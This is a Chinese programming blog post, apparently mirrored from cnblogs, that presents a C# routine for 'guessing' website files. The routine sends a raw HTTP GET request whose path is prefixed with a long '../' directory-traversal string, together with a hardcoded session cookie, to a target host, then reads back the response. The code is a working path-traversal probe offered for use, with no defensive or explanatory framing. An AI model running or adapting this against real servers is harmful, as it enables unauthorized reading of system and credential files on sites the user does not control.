zoukankan      html  css  js  c++  java
  • c#使用程序猜解网站文件

         public static string PostData(string file)
            {
                string strHTML = "";//用来保存获得的HTML代码
    
                string sendString;
                sendString = "GET //../../../../../../../.." + file + " HTTP/1.1
    ";
                sendString += "Cookie: SESSIONID=1531169f08777da4
    
    ";
                sendString += "Host: aaa.com
    ";
                sendString += "Connection: Keep-alive
    ";
                sendString += "Accept-Encoding: gzip,deflate
    ";
                sendString += "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
    ";
                sendString += "Accept: */*
    ";
    
                //sendString = string.Format(sendString, file);
                Byte[] ByteGet = Encoding.GetEncoding("utf-8").GetBytes(sendString);
                IPAddress hostadd = Dns.GetHostEntry("aaa.com").AddressList[0];
                IPEndPoint EPhost = new IPEndPoint(hostadd, 80);
                Socket s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                s.Connect(EPhost);
                if (!s.Connected)
                {
                    strHTML = "链接主机失败";
                }
                s.Send(ByteGet, ByteGet.Length, SocketFlags.None);
                strHTML = Recv(s, Encoding.GetEncoding("utf-8"));
                return strHTML;
            }
    
            public static String Recv(Socket sock, Encoding encode)
            {
                Byte[] buffer = new Byte[1024000000];
                StringBuilder sb = new StringBuilder();
    
                Thread.Sleep(2500);//根据页面响应时间进行微调        
                Int32 len = sock.Receive(buffer);
                Console.WriteLine("socket.Available:" + sock.Available);
                sb.Append(encode.GetString(buffer, 0, len));
    
                while (sock.Available > 0)
                {
                    Thread.Sleep(1000);//也可以视情况微调           
                    Array.Clear(buffer, 0, buffer.Length);
                    len = sock.Receive(buffer);
                    Console.WriteLine("socket.Available:" + sock.Available);
                    Console.WriteLine("接收:" + len + " B");
                    sb.Append(encode.GetString(buffer, 0, len));
                    string ss = encode.GetString(buffer, 0, len);
                }
                sock.Close();
                return sb.ToString();
            }
    本博客文章绝大多数为原创,少量为转载,代码经过测试验证,如果有疑问直接留言或者私信我。
    创作文章不容易,转载文章必须注明文章出处;如果这篇文章对您有帮助,点击右侧打赏,支持一下吧。
  • 相关阅读:
    [Android]XML那些事儿-manifest属性2
    [Android]数据存储-SharedPreferences1
    [Android]2013.5.4日志
    [Android]获得Andriod手机屏幕分辨率的两种方法
    [Android]Java-break(label)/return/continue语句详解
    [WordPress]欢迎使用 WordPress for SAE
    [Webkit]最简单易用的webkit学习环境-ISee
    [Webkit]了解WebKit与Qt WebKit对比区别
    [PhoneGap]开发环境搭建与简单应用
    LeetCode-62.Unique Paths
  • 原文地址:https://www.cnblogs.com/passedbylove/p/14724622.html
Copyright © 2011-2022 走看看